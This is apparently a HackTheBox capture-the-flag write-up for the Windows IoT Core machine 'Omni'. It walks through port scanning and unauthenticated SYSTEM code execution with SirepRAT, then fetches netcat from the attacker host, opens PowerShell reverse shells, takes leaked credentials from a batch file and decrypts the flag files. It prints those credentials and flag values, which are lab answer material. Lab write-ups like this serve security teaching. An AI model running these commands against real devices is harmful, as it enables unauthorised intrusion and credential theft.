HackTheBox Omni Writeup

Spy0x7

Spy0x7 / August 02, 2021

7 min read •

Description

Exploiting SirepRAT to gain SYSTEM shell on a Windows IoT Core box via unauthenticated RCE and credential leakage.

Starting off with masscan & nmap we discover six open TCP ports 135, 8080, 5985, 29817, 29819, 29820:

masscan

spy0x7:  ~/Documents/htb/omni
 masscan -e tun0 -p1-65535 --rate 500 10.10.10.204 | tee masscan.ports
 
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-03 13:47:59 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 5985/tcp on 10.10.10.204
Discovered open port 29819/tcp on 10.10.10.204
Discovered open port 29817/tcp on 10.10.10.204
Discovered open port 8080/tcp on 10.10.10.204
Discovered open port 135/tcp on 10.10.10.204
Discovered open port 29820/tcp on 10.10.10.204
 
spy0x7:  ~/Documents/htb/omni
 cat masscan.ports | grep tcp | sed s'/Discovered open port //' | awk -F/ '{print $1}' ORS=','
5985,29819,29820,29817,8080,135,
 

nmap

spy0x7:  ~/Documents/htb/omni
 nmap -sC -sV -p5985,29819,29820,29817,8080,135 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.13s latency).
 
PORT      STATE SERVICE  VERSION
135/tcp   open  msrpc    Microsoft Windows RPC
5985/tcp  open  upnp     Microsoft IIS httpd
8080/tcp  open  upnp     Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
29817/tcp open  unknown
29819/tcp open  arcserve ARCserve Discovery
29820/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port29820-TCP:V=7.91%I=7%D=11/18%Time=5FB430D7%P=x86_64-pc-linux-gnu%r(
SF:NULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10,
SF:"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x
SF:04G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\
SF:xc9}\xc8O\x12");
Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.95 seconds

Port 135(RPC), 5895(WinRM), 8080(HTTP) seems familiar however 29817, 29819, 29820 are looked quite unusual at first glance.

Although Nmap identifies it as Windows, turns out a Quick google search on HTTP banner Windows Device Portal leads us to this documentation which confirms it’s actually an Windows IoT Core.

Further researching on Unknown ports 29817, 29819, 29820 leads us to various documents on SirepRAT and Windows IoT Core.

Port 8080: HTTP

Visiting http://10.10.10.204:8080 presents a login prompt for Windows Device Portal:

Omni

SirepRAT

Going forward with searching exploiting Windows IoT brings us to SirepRAT which utilizes Sirep Protocol on Port 29819/29820.

For detailed explanation on SirepRAT we can refer this pdf

At the end of the pdf, it highlights SirepRAT Python exploit’s features which provide unauthenticated remote code execution as SYSTEM, exploit is available at their GitHub repo

Shell as Omni

Testing RCE

Referring Exploit’s usage to test and confirm arbitrary command execution as SYSTEM :

spy0x7:  ~/Documents/htb/omni/SirepRAT  |master ?:2|
 python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c echo %username% "
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 8, payload peek: 'omni$ '>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
 
spy0x7:  ~/Documents/htb/omni/SirepRAT  |master ?:2|
 python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c echo %userprofile% "
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 23, payload peek: 'C:\Data\Users\System '>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>

Now that we have code execution, let’s upload nc64.exe on the box using PowerShell iwr (Invoke-WebRequest):

spy0x7:  ~/Documents/htb/omni/SirepRAT  |master ?:2|
 python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c powershell iwr -uri http://10.10.14.11/nc64.exe -o nc64.exe" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

Executing nc64.exe to return a reverse shell:

spy0x7:  ~/Documents/htb/omni/SirepRAT  |master ?:2|
 python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c nc64.exe -e powershell.exe 10.10.14.11 8020" --v
<HResultResult | type: 1, payload length: 4, HResult: 0x0>

Getting a call back on nc listener:

spy0x7:  ~/Documents/htb/omni/SirepRAT  |master ?:1|
 nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49676.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
 
PS C:\windows\system32>
 
PS C:\windows\system32> $env:username
$env:username
omni$

Apparently whoami is not available on the box but we can user other PowerShell command like $env:username to check the username which turns out to be omni$

Elevating Priv: omni$ -> app

Enumeration

To kick start the enumeration we can upload winPEAS.exe, but unfortunately it doesn’t work and throws error. However bat version of winPEAS does work, However uploading winPEAS.bat and running it on the box doesn’t give anything interesting.

Next, we can try to manually search for files, a good approach is to search for bat files as they are usually used to automate stuff or run commands on timely basis like cron jobs.

So we will make use of PowerShell command to recursively find bat files on the box. Here gci stands for Get-ChildItem, -r recursive and -force is used to locate hidden files.

PS C:\> gci -r -force `*.bat
gci -r -force *.bat
 
 
    Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-h--        8/21/2020  12:56 PM            247 r.bat
 
 
    Directory: C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/26/2018  11:36 PM            925 Pester.bat
 
 
    Directory: C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/26/2018  11:36 PM            744 Build.bat

Going through r.bat located at C:\Program Files\WindowsPowerShell\Modules\PackageManagement we discover credentials for app and administrator user:

PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> gci -force
gci -force
 
 
    Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/26/2018  11:37 PM                1.0.0.1
-a-h--        8/21/2020  12:56 PM            247 r.bat
 
 
PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> get-content r.bat
get-content r.bat
@echo off
 
:LOOP
 
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
 
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
 
ping -n 3 127.0.0.1
 
cls
 
GOTO :LOOP
 
:EXIT

Creds:

  • app:mesh5143
  • administrator:_1nt3rn37ofTh1nGz

Shell

Both the creds allow us to login on Windows device portal running Port 8080, first we’ll login using app user creds. Once logged in Inside Processes tab we have Run command which allows us to run commands on the box.

Since we have already uploaded nc64.exe on the box, we’ll use it to drop us a reverse shell as app user:

Omni

Getting a callback on nc listener:

spy0x7:  ~/Documents/htb/omni
 nc -lvnp 8050
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8050
Ncat: Listening on 0.0.0.0:8050
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49677.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
 
PS C:\windows\system32> $env:username
$env:username
app

Further enumeration reveals, Interestingly user directories are located inside C:\Data\Users on this box:

PS C:\Data\Users> ls
ls
 
 
    Directory: C:\Data\Users
 
 
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         7/4/2020   9:48 PM                administrator
d-----         7/4/2020   9:53 PM                app
d-----         7/3/2020  11:22 PM                DefaultAccount
d-----         7/3/2020  11:22 PM                DevToolsUser
d-r---       11/17/2020   9:13 PM                Public
d-----         7/4/2020  10:29 PM                System

Decrypt user.txt

Trying to retrieve contents of user.txt, we receive the following:

PS C:\Data\Users\app> get-content user.txt
get-content user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">flag</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
    </Props>
  </Obj>
</Objs>

Turns out it’s an PSCredential encrypted file, while searching for decryption methods I came across this GitHub gist with reference to line 55, We understand we can use Import-CliXml to decrypt the data:

PS C:\Data\Users\app> $spy0x7user = Import-CliXML -Path C:\Data\Users\app\user.txt
$spy0x7user = Import-CliXML -Path C:\Data\Users\app\user.txt
 
PS C:\Data\Users\app> $spy0x7user.GetNetworkCredential().Password
$spy0x7user.GetNetworkCredential().Password
7cfd50f6bc34db3204898f1505ad9d70
 

Elevating Priv app -> administrator

Following the same process, we can login to Windows device portal and use Run command to get ourselves reverse shell as administrator:

Omni

Admin Shell

spy0x7:  ~/Documents/htb/omni
 nc -lvnp 8090
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8090
Ncat: Listening on 0.0.0.0:8090
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49678.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
 
PS C:\windows\system32> $env:username
$env:username
Administrator

Decrypt root.txt

Apparently root.txt is also encrypted, we’ll again use Import-CliXml to decrypt the flag:

PS C:\Data\Users\Administrator> $spy0x7root = Import-CliXML -Path C:\Data\Users\Administrator\root.txt
$spy0x7root = Import-CliXML -Path C:\Data\Users\Administrator\root.txt
 
PS C:\Data\Users\Administrator> $spy0x7root.GetNetworkCredential().Password
$spy0x7root.GetNetworkCredential().Password
5dbdce5569e2c4708617c0ce6e9bf11d
 

And we pwned the Box !

Thanks for reading, Suggestions & Feedback are appreciated !